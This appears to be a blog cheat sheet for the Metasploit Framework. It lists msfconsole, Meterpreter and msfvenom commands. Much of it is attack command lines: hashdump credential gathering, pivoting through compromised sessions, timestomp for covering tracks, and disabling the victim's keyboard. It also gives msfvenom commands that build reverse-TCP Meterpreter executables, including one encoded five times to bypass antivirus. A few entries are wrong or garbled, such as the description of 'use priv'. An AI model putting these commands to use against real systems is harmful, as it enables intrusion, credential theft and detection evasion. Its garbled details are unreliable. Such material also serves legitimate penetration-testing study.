Metasploit is an open source computer security project. Metasploit is not a single tool but a framework which is used for developing and executing exploit code against the Remote Target. Using Metasploit we can exploit most of the vulnerabilities that exist in a software and that is the only reason that makes us point out the Metasploit Tools And Cheat Sheet for the HACKAGON‘s readers.

Metasploit Tools And Cheat Sheet

The purpose of this Metasploit Tools And Cheat Sheet is to describe some common options for some of the various components of the Metasploit Framework.

Tools Described

Metasploit: The Metasploit Framework is a development platform for developing and using security tools and exploits.

Metasploit Meterpreter: The Meterpreter is a payload within the Metasploit Framework that provides control over an exploited target system, running as a DLL loaded inside of any process on a target machine.

Metasploit msfvenom: The msfvenom tool is a component of the Metasploit Framework that allows users to generate a standalone version of any payload within the framework. Payloads can be generated in a variety of formats including executable, Ruby script, and raw shellcode. The msfvenom tool can also encode payloads to help avoid detection.

Meterpreter Post Modules

With an available Meterpreter session, post modules can be run on the target machine.

Post Modules from Meterpreter
meterpreter > run post/multi/gather/env

Post Modules on a Backgrounded Session
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run

Useful Auxiliary Modules

Port Scanner
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS
msf > run

DNS Enumeration
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server
msf > use auxiliary/server/socks4
msf > run

Any proxied traffic that matches the subnet of a route will be routed through the session specified by route and use proxychains configured for socks4 to route any application’s traffic through a Meterpreter session.

Metasploit Console Basics (msfconsole)

Search for module
msf > search [regex]

Specify and exploit to use
msf > use exploit/[ExploitPath]

Specify a Payload to use
msf > set PAYLOAD [PayloadPath]

Show options for the current modules
msf > show options

Set options
msf > set [Option] [Value]

Start exploit
msf > exploit

Metasploit Meterpreter

Base Commands

? / help: Displays a summary of commands.
exit / quit: Exit the Meterpreter session.
sysinfo: Shows the system name and OS type.
shutdown / reboot: Self-explanatory.

File System Commands

cd: Changes the directory.
lcd: Changes directory on local (attacker’s) machine.
pwd / getwd: Displays current working directory.
ls: Shows the contents (List) of the directory.
cat: Displays the contents of a file on the screen.
download / upload: Move files to/from the target machine.
mkdir / rmdir: Make / remove directory.
edit: Open a file in the default editor (typically vi).

Process Commands

getpid: Displays the process ID that Meterpreter is running inside.
getuid: Displays the user ID that Meterpreter is running with.
ps: Displays process list.
kill: Terminates a process given its process ID.
execute: Runs a given program with the privileges of the process, the Meterpreter is loaded in.
migrate: Jump to a given destination process ID.
                – Target process must have same or lesser privileges.
                – Target process may be a more stable process.
                – When inside a process, can access any files that the process has a lock on.

Network Commands

ipconfig: Shows network interface information.
portfwd: Forward packets through TCP session.
route: Manage/view the system’s routing table.

Misc Commands

idletime: Displays the duration that the GUI of the target machine has been idle.
uictl [enable/disable] [keyboard/mouse]: Enables/disables either the mouse or keyboard of the target machine.
screenshot: Saves the screenshot of the target machine.

Additional Modules

use [module]: Loads the specified module.

use priv: Loads the previous module.
hashdump: Dump the hashes from the box.
timestomp: Alter NTFS file timestamps.

Metasploit msfvenom

The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Runs with ‘‘-l payloads’ to get a list of payloads.

$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse connection)]

Example Reverse Meterpreter payload as an executable and redirected to a file:

$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=
LPORT=4444 > met.exe

Format Options (specified with –f)

–help-formats: List available output formats
exe: Executable
pl: Perl
rb: Ruby
raw: Raw shellcode
c: C code

Encoding Payloads with msfvenom: The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘-l encoders‘ to get a list of encoders.

$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse connection.)]

Example: Encode a payload from msfpayload 5 times using shikata_ga_nai encoder and output as executable

$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST= LPORT=4444 > mal.exe

Managing Sessions

Multiple Exploitation

Run the exploit expecting a single session that is immediately backgrounded
msf > exploit -z

Run the exploit in the background expecting one or more sessions that are immediately backgrounded
msf > exploit –j

List all current jobs (usually exploit listeners)
msf > jobs –l

Kill a job
msf > jobs –k [JobID]

Multiple Sessions

List all backgrounded sessions
msf > sessions -l

Interact with a backgrounded session:
msf > session -i [SessionID]

Background the current interactive session:
meterpreter > <Ctrl+Z> (OR meterpreter > background)

Routing Through Sessions

All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session
msf > route add [Subnet to Route To]
[Subnet Netmask] [SessionID]

Note: – This guide is only for knowledge purpose and shouldn’t be used for any illegal activities as we are not responsible for anything happens with this.

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